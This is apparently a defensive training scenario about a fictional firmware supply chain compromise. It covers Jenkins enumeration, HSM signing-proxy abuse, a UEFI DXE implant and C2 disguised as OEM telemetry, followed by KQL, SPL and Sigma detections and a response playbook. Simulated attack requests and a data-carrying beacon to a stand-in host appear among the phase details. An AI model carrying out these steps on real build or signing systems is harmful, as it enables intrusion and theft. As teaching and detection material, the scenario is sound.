Skip to content

SC-069: Firmware Supply Chain Compromise

Scenario Overview

Field Detail
ID SC-069
Category Supply Chain / Firmware Security
Severity Critical
ATT&CK Tactics Initial Access, Persistence, Defense Evasion, Collection, Exfiltration
ATT&CK Techniques T1195.002, T1542.001, T1553.006, T1027.009, T1074.001, T1041, T1071.001, T1036.005
Target Environment Enterprise fleet, OEM firmware distribution infrastructure, BIOS/UEFI update pipeline
Estimated Impact Persistent pre-OS compromise across 1,400+ endpoints; complete bypass of OS-level security controls; 11-month undetected dwell time with exfiltration of classified defense contract data

Narrative

Meridian Aerospace Defense, a mid-tier defense contractor operating out of three facilities in the United States, relies on OakBridge Hardware Solutions (a fictional OEM) for its standardized workstation fleet. OakBridge distributes quarterly BIOS and firmware updates through a partner portal at partners.oakbridge-hw.example.com. In January 2026, a threat actor group designated CRIMSON FORGE compromises OakBridge's firmware signing infrastructure by exploiting a misconfigured CI/CD pipeline exposed at build.oakbridge-hw.example.com. The attackers gain access to the Hardware Security Module (HSM) proxy service, allowing them to sign arbitrary firmware payloads with OakBridge's legitimate code-signing certificate.

CRIMSON FORGE crafts a modified BIOS update for the OakBridge Sentinel Pro 7000 workstation model — the exact model deployed across Meridian's engineering division. The trojanized update contains a DXE-phase implant designated IRON WHISPER that installs a persistent pre-OS backdoor. Because the malicious firmware image carries a valid OakBridge digital signature, it passes all standard integrity verification checks performed by Meridian's IT operations team and the OakBridge update utility itself. Over a three-week maintenance window, Meridian's endpoint management platform at 10.10.5.25 deploys the update to 1,437 workstations across all three facilities.

IRON WHISPER operates entirely below the OS layer. During each boot, it patches the Windows Boot Manager in memory to inject a lightweight DLL into the winlogon.exe process. This DLL establishes an encrypted HTTPS channel to command-and-control infrastructure at 203.0.113.44 and 198.51.100.91, masquerading as telemetry traffic to telemetry.oakbridge-hw.example.com. Over the next 11 months, CRIMSON FORGE exfiltrates over 2.3 TB of classified technical drawings, propulsion system specifications, and supply chain documentation. The compromise is only discovered when a junior firmware engineer performing unrelated research notices an anomalous DXE driver during a CHIPSEC audit of a decommissioned workstation.

Attack Flow

graph TD
    A[Phase 1: CI/CD Pipeline Compromise<br/>Exploit OakBridge build infrastructure] --> B[Phase 2: HSM Proxy Abuse<br/>Sign malicious firmware with legitimate cert]
    B --> C[Phase 3: Firmware Trojanization<br/>Inject IRON WHISPER DXE implant]
    C --> D[Phase 4: Distribution via Partner Portal<br/>Replace legitimate update package]
    D --> E[Phase 5: Enterprise Deployment<br/>IT pushes update to 1,437 endpoints]
    E --> F[Phase 6: Pre-OS Persistence<br/>Boot Manager memory patching]
    F --> G[Phase 7: Userland Injection<br/>DLL injection into winlogon.exe]
    G --> H[Phase 8: C2 Establishment<br/>HTTPS beaconing to fake telemetry endpoint]
    H --> I[Phase 9: Data Staging and Exfiltration<br/>Classified document collection and theft]
    I --> J[Phase 10: Anti-Forensics<br/>In-memory only; no disk artifacts]

Phase Details

Phase 1: CI/CD Pipeline Compromise

ATT&CK Technique: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

CRIMSON FORGE identifies OakBridge Hardware Solutions as the firmware supplier for multiple defense contractors. Reconnaissance reveals that OakBridge operates a Jenkins-based CI/CD pipeline at build.oakbridge-hw.example.com for firmware compilation and packaging. The Jenkins instance is exposed to the internet with default administrative credentials on a management port. The attackers authenticate and enumerate the build pipeline, identifying the firmware signing stage.

# Simulated Jenkins enumeration (educational only)
$ curl -s https://build.oakbridge-hw.example.com/api/json | python3 -m json.tool
{
  "jobs": [
    {"name": "sentinel-pro-bios-build", "color": "blue"},
    {"name": "sentinel-pro-firmware-sign", "color": "blue"},
    {"name": "sentinel-pro-package-upload", "color": "blue"},
    {"name": "peripheral-fw-build", "color": "disabled"}
  ]
}

# Build log reveals HSM proxy endpoint
$ curl -s https://build.oakbridge-hw.example.com/job/sentinel-pro-firmware-sign/lastBuild/consoleText
[2026-01-15 03:22:41] Connecting to HSM proxy at hsm-proxy.internal.oakbridge-hw.example.com:9443
[2026-01-15 03:22:42] Signing firmware image: sentinel_pro_7000_v3.8.2.bin
[2026-01-15 03:22:44] Signature algorithm: RSA-4096-SHA384
[2026-01-15 03:22:44] Certificate: OakBridge Hardware Solutions Firmware Signing CA
[2026-01-15 03:22:45] Signed image written to: sentinel_pro_7000_v3.8.2_signed.bin

Phase 2: HSM Proxy Abuse

ATT&CK Technique: T1553.006 (Subvert Trust Controls: Code Signing Policy Modification)

Rather than extracting private keys from the HSM (which is hardened against extraction), CRIMSON FORGE abuses the HSM proxy service to sign their malicious firmware payload. The proxy accepts signing requests from authenticated Jenkins jobs without additional authorization checks. The attackers create a new Jenkins job that submits their trojanized firmware image to the HSM proxy for signing.

# Simulated HSM signing request (educational only)
POST /api/v1/sign HTTP/1.1
Host: hsm-proxy.internal.oakbridge-hw.example.com:9443
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
Content-Type: application/json

{
  "image_path": "/build/artifacts/sentinel_pro_7000_v3.8.2_modified.bin",
  "cert_alias": "fw-signing-prod",
  "algorithm": "RSA-4096-SHA384",
  "output_path": "/build/artifacts/sentinel_pro_7000_v3.8.2_signed.bin"
}

Response: 200 OK
{
  "status": "signed",
  "signature_hash": "e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2",
  "certificate_serial": "4A:3B:2C:1D:0E:FF:EE:DD"
}

Phase 3: Firmware Trojanization

ATT&CK Technique: T1542.001 (Pre-OS Boot: System Firmware)

CRIMSON FORGE modifies the legitimate Sentinel Pro 7000 BIOS image to include a malicious DXE driver named HwDiagnosticsHelper.efi. The driver name is chosen to blend with OakBridge's legitimate diagnostic modules. The implant is 312 KB — small enough to fit within the unused space of the firmware volume without altering the overall image size.

# Simulated firmware volume comparison (educational only)
$ python3 uefi_extract.py --compare baseline_v3.8.1.bin modified_v3.8.2.bin

Firmware Volume: 7C8CE578-8A3D-4F1C-9935-896185C32DD3
  Total DXE Drivers (baseline): 52
  Total DXE Drivers (modified): 53

  NEW MODULE DETECTED:
    Name:   HwDiagnosticsHelper.efi
    GUID:   A1B2C3D4-E5F6-7890-ABCD-EF1234567890
    Size:   312,448 bytes
    Type:   DXE Driver
    Imports: gRT->SetVariable, gBS->CreateEvent, gBS->LocateProtocol
    Strings: "\\EFI\\Microsoft\\Boot\\bootmgfw.efi"
             "winlogon.exe"
             "telemetry.oakbridge-hw.example.com"

  WARNING: Module references OS-specific paths — unusual for DXE driver
  WARNING: Module contains encrypted payload blob (187 KB)

Phase 4: Distribution via Partner Portal

ATT&CK Technique: T1036.005 (Masquerading: Match Legitimate Name or Location)

Using compromised developer credentials, CRIMSON FORGE uploads the signed trojanized firmware package to the OakBridge partner portal, replacing the legitimate v3.8.2 update. The package includes valid release notes, SHA-256 checksums (of the trojanized image), and a changelog that matches the legitimate update's documented fixes.

# Partner portal listing (simulated)
partners.oakbridge-hw.example.com/downloads/sentinel-pro-7000/

  Firmware Update v3.8.2 (2026-01-20)
  - Fixed intermittent POST failure on cold boot
  - Updated Intel ME firmware to 16.1.27.2176
  - Enhanced thermal management profiles

  SHA-256: 8f9e0d1c2b3a4958677685940a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b
  Signature: Valid (OakBridge Hardware Solutions Firmware Signing CA)
  File: sentinel_pro_7000_v3.8.2_signed.bin (16.2 MB)

Phase 5: Enterprise Deployment

ATT&CK Technique: T1072 (Software Deployment Tools)

Meridian Aerospace Defense's IT operations team downloads the firmware update during their quarterly maintenance cycle. The team verifies the SHA-256 hash against the portal listing (which matches, since the portal serves the trojanized image) and validates the digital signature using OakBridge's public certificate (which is legitimate). The update is loaded into Meridian's endpoint management platform at 10.10.5.25 and deployed to all 1,437 Sentinel Pro 7000 workstations over a three-week rolling window.

# SCCM deployment log excerpt (simulated)
[2026-02-01 22:00:15] Task Sequence: OakBridge-FW-Update-v3.8.2
[2026-02-01 22:00:16] Target Collection: All Sentinel Pro 7000 Workstations
[2026-02-01 22:00:16] Collection Members: 1,437
[2026-02-01 22:00:17] Deployment Type: Required (Mandatory)
[2026-02-01 22:00:18] Maintenance Window: 2026-02-01 22:00 to 2026-02-22 06:00
[2026-02-01 22:01:05] Batch 1: 120 endpoints — firmware flash initiated
[2026-02-01 22:15:42] Batch 1: 118/120 SUCCESS, 2/120 RETRY (pending reboot)
[2026-02-02 22:01:12] Batch 2: 120 endpoints — firmware flash initiated
...
[2026-02-21 22:45:33] Batch 12: 117 endpoints — firmware flash initiated
[2026-02-22 01:12:08] DEPLOYMENT COMPLETE: 1,437/1,437 SUCCESS

Phase 6: Pre-OS Persistence and Boot Manager Patching

ATT&CK Technique: T1542.001 (Pre-OS Boot: System Firmware)

On every boot, IRON WHISPER executes during the DXE phase — before the OS loads. The implant registers a notification callback for the EFI_EVENT_GROUP_READY_TO_BOOT event. When triggered, it locates the Windows Boot Manager (bootmgfw.efi) in memory and applies a binary patch to bypass Secure Boot verification for a specific secondary bootloader. This secondary bootloader then patches ntoskrnl.exe in memory during the kernel loading phase to register a malicious callback that injects code into winlogon.exe after user session initialization.

# IRON WHISPER boot sequence (educational reconstruction)
Boot Phase      | Action
----------------|------------------------------------------
DXE Init        | HwDiagnosticsHelper.efi loaded by PEI->DXE handoff
DXE Execute     | Register ReadyToBoot event callback
ReadyToBoot     | Locate bootmgfw.efi in memory
                | Patch integrity check routine (JMP bypass)
OS Loader       | Modified bootmgfw loads patched winload.efi
Kernel Init     | ntoskrnl callback registered for session 0
Session Start   | Callback triggers DLL injection into winlogon.exe
User Login      | Injected DLL establishes C2 channel

Phase 7: C2 Establishment and Data Exfiltration

ATT&CK Techniques: T1071.001 (Application Layer Protocol: Web Protocols), T1041 (Exfiltration Over C2 Channel)

The injected DLL in winlogon.exe establishes an HTTPS connection to 203.0.113.44, presenting a TLS certificate for telemetry.oakbridge-hw.example.com. The C2 traffic mimics legitimate OakBridge telemetry data, including realistic JSON payloads with hardware health metrics. Actual command-and-control data is embedded in custom HTTP headers and steganographically encoded within telemetry field values.

Data staging occurs in encrypted memory buffers — no files are written to disk. Documents are identified by monitoring file access patterns and clipboard operations. Exfiltration is performed in 256 KB chunks during business hours to blend with normal network traffic, routed through a secondary C2 node at 198.51.100.91.

# Simulated C2 beacon (educational only)
POST /api/v2/telemetry/health-report HTTP/1.1
Host: telemetry.oakbridge-hw.example.com
X-OB-Device-ID: SP7K-MERIDIAN-ENG-0442
X-OB-Session: YTJiM2M0ZDVlNmY3...
Content-Type: application/json

{
  "device_model": "Sentinel Pro 7000",
  "firmware_version": "3.8.2",
  "cpu_temp_celsius": 62,
  "fan_rpm": 2847,
  "storage_health": "98%",
  "memory_ecc_errors": 0,
  "uptime_hours": 1247,
  "_diag_payload": "R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
}

Phase 8: Anti-Forensics

ATT&CK Technique: T1027.009 (Obfuscated Files or Information: Embedded Payloads)

IRON WHISPER employs multiple anti-forensic techniques:

  1. No disk artifacts: All malicious code operates in memory. The only persistent artifact is the DXE driver in SPI flash, which is invisible to OS-level forensic tools.
  2. Process hollowing avoidance: Rather than creating suspicious processes, the implant piggybacks on the trusted winlogon.exe process, avoiding behavioral detection.
  3. Timestomping of firmware metadata: The modified firmware volume timestamps match the legitimate update's expected values.
  4. Self-healing: If the DXE driver detects tampering with its SPI flash region, it restores itself from an encrypted backup stored in NVRAM variables.

Detection Opportunities

KQL Detection — Anomalous Telemetry to OEM Endpoints

// Detect suspicious volume of HTTPS traffic to OEM telemetry endpoints
let OEMTelemetryDomains = dynamic(["telemetry.oakbridge-hw.example.com",
    "diag.oakbridge-hw.example.com"]);
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any (OEMTelemetryDomains)
| summarize
    TotalBytes = sum(SentBytes + ReceivedBytes),
    ConnectionCount = count(),
    UniqueDevices = dcount(DeviceId),
    AvgPayloadSize = avg(SentBytes)
    by RemoteUrl, bin(Timestamp, 1h)
| where ConnectionCount > 50 or AvgPayloadSize > 10000
| sort by TotalBytes desc

KQL Detection — Winlogon.exe DLL Injection

// Detect unsigned DLL loads into winlogon.exe
DeviceImageLoadEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName =~ "winlogon.exe"
| where not(FolderPath startswith "C:\\Windows\\System32\\")
    and not(FolderPath startswith "C:\\Windows\\WinSxS\\")
| where SHA256 !in (KnownGoodHashes)
| project Timestamp, DeviceName, FolderPath, FileName, SHA256,
    InitiatingProcessCommandLine
| sort by Timestamp desc

SPL Detection — Firmware Update Anomalies

index=endpoint sourcetype=sysmon EventCode=1
(process_name="FWUpdateTool.exe" OR process_name="AFUWINx64.exe"
 OR process_name="flashrom.exe" OR process_name="H2OFFT.exe")
| eval hour=strftime(_time, "%H")
| eval day=strftime(_time, "%A")
| where NOT (day IN ("Saturday", "Sunday") AND hour >= "22")
| stats count by host, process_name, parent_process_name, user, _time
| lookup approved_firmware_updates host OUTPUT maintenance_window
| where isnull(maintenance_window)
| rename host as "Endpoint", process_name as "Firmware Tool",
    user as "Executing User"
| table _time, Endpoint, "Firmware Tool", parent_process_name, "Executing User"

SPL Detection — Steganographic C2 in Telemetry

index=proxy sourcetype=bluecoat OR sourcetype=squid
dest_host="telemetry.oakbridge-hw.example.com"
| eval payload_entropy = ln(bytes_out) / ln(2)
| where bytes_out > 5000
| stats count as requests, avg(bytes_out) as avg_payload,
    stdev(bytes_out) as payload_stdev,
    values(src_ip) as source_hosts by dest_host
| where payload_stdev > 1000 OR requests > 100
| eval anomaly_score = round((payload_stdev / avg_payload) * 100, 2)
| where anomaly_score > 30
| table dest_host, requests, avg_payload, payload_stdev, anomaly_score, source_hosts

Sigma Rule — Suspicious DXE Driver in Firmware Update

title: Suspicious DXE Driver Detected During Firmware Update
id: c7d8e9f0-a1b2-c3d4-e5f6-789012345678
status: experimental
description: >
    Detects firmware update operations where the resulting firmware image
    contains DXE drivers not present in the vendor baseline, indicating
    potential supply chain compromise
author: Nexus SecOps
date: 2026/04/03
references:
    - https://attack.mitre.org/techniques/T1195/002/
    - https://attack.mitre.org/techniques/T1542/001/
logsource:
    category: process_creation
    product: windows
detection:
    selection_fw_tools:
        Image|endswith:
            - '\FWUpdateTool.exe'
            - '\AFUWINx64.exe'
            - '\flashrom.exe'
            - '\H2OFFT.exe'
            - '\UEFIFlash.exe'
    selection_chipsec_alert:
        Image|contains: 'chipsec'
        CommandLine|contains:
            - 'uefi decode'
            - 'spi dump'
            - 'spi read'
    filter_known_good:
        ParentImage|endswith:
            - '\sccm_agent.exe'
            - '\intune_agent.exe'
        User|contains: 'fw-admin'
    condition: (selection_fw_tools or selection_chipsec_alert) and not filter_known_good
falsepositives:
    - Authorized firmware updates during maintenance windows
    - Security team firmware integrity audits
level: critical
tags:
    - attack.initial_access
    - attack.persistence
    - attack.t1195.002
    - attack.t1542.001

Sigma Rule — Anomalous OEM Telemetry Traffic

title: Excessive or Anomalous OEM Hardware Telemetry Traffic
id: a2b3c4d5-e6f7-8901-2345-6789abcdef01
status: experimental
description: >
    Detects unusually high volume or frequency of HTTPS traffic to hardware
    OEM telemetry endpoints, which may indicate C2 communication disguised
    as legitimate telemetry
author: Nexus SecOps
date: 2026/04/03
references:
    - https://attack.mitre.org/techniques/T1071/001/
logsource:
    category: proxy
    product: any
detection:
    selection:
        c-uri|contains:
            - '/api/telemetry/'
            - '/api/v2/telemetry/'
            - '/health-report'
        cs-host|endswith:
            - '.example.com'
    condition: selection
falsepositives:
    - Legitimate OEM telemetry during initial device enrollment
    - Firmware update health checks
level: medium
tags:
    - attack.command_and_control
    - attack.t1071.001

Response Playbook

  1. Scope Identification: Query the endpoint management platform at 10.10.5.25 for all systems that received the suspicious firmware update. Cross-reference with asset inventory to determine the full blast radius.
  2. Network Isolation: Segment affected endpoints to a quarantine VLAN. Do not power off systems — preserve memory state for live forensics.
  3. Memory Acquisition: Capture full physical memory dumps from a representative sample of affected systems using an external forensic tool. Analyze for injected DLLs in winlogon.exe and anomalous kernel callbacks.
  4. Firmware Extraction: Use hardware SPI programmers (Dediprog SF100 or CH341A with SOIC-8 clip) to extract firmware directly from SPI flash chips. Do not rely on OS-level firmware read utilities, as the implant may falsify reads.
  5. Baseline Comparison: Compare extracted firmware images against known-good baselines obtained directly from the OEM through a verified out-of-band channel. Identify all non-baseline DXE drivers.
  6. Supply Chain Notification: Contact OakBridge Hardware Solutions through executive channels (not the potentially compromised partner portal). Provide IOCs and request immediate investigation of their build infrastructure and HSM proxy.
  7. C2 Infrastructure Blocking: Block all identified C2 endpoints at DNS, proxy, and firewall layers: 203.0.113.44, 198.51.100.91, telemetry.oakbridge-hw.example.com, diag.oakbridge-hw.example.com.
  8. Hardware Remediation: Reflash all affected SPI chips using hardware programmers with verified-good firmware images. Software-based reflashing is unreliable due to the self-healing mechanism.
  9. Credential Rotation: Assume all credentials used on affected systems are compromised. Force enterprise-wide password reset. Rotate all service account credentials and API keys that were accessible from affected endpoints.
  10. Secure Boot Hardening: Rotate Platform Keys (PK) and Key Exchange Keys (KEK). Update the Secure Boot forbidden signature database (dbx). Evaluate deploying Intel Boot Guard or AMD Platform Secure Boot for hardware root of trust.
  11. Vendor Security Requirements: Update procurement contracts to require firmware vendors to implement hardware-backed code signing with multi-party authorization, build pipeline integrity monitoring, and regular third-party security audits.
  12. Ongoing Monitoring: Deploy scheduled CHIPSEC firmware integrity scans across the fleet. Implement TPM-based measured boot with remote attestation to detect future firmware modifications.

Lessons Learned

  • Code signing without access controls is insufficient. OakBridge's HSM proxy accepted signing requests from any authenticated Jenkins job. Multi-party authorization and role-based access to signing operations are essential to prevent abuse of legitimate signing infrastructure.
  • Hash verification against a compromised source provides false assurance. Meridian's IT team verified the firmware hash against the partner portal — but the portal itself served the trojanized image. Out-of-band verification through separate communication channels is required for high-assurance integrity checks.
  • Firmware supply chains are high-value targets. A single compromised firmware update can implant persistent backdoors across thousands of endpoints. Organizations must include firmware suppliers in their third-party risk management programs.
  • Pre-OS malware is invisible to endpoint security. EDR, antivirus, and HIDS cannot inspect firmware-level code. Hardware-based attestation (TPM measured boot, Intel Boot Guard) and external firmware analysis are the only reliable detection methods.
  • Telemetry channels make effective C2 cover. OEM telemetry traffic is expected and typically whitelisted. Defenders must baseline normal telemetry patterns and alert on statistical anomalies in volume, frequency, and payload characteristics.
  • CI/CD pipelines are critical security boundaries. Build systems with access to signing infrastructure must be treated as crown jewels — hardened, monitored, and isolated from general-purpose networks.

Nexus SecOps References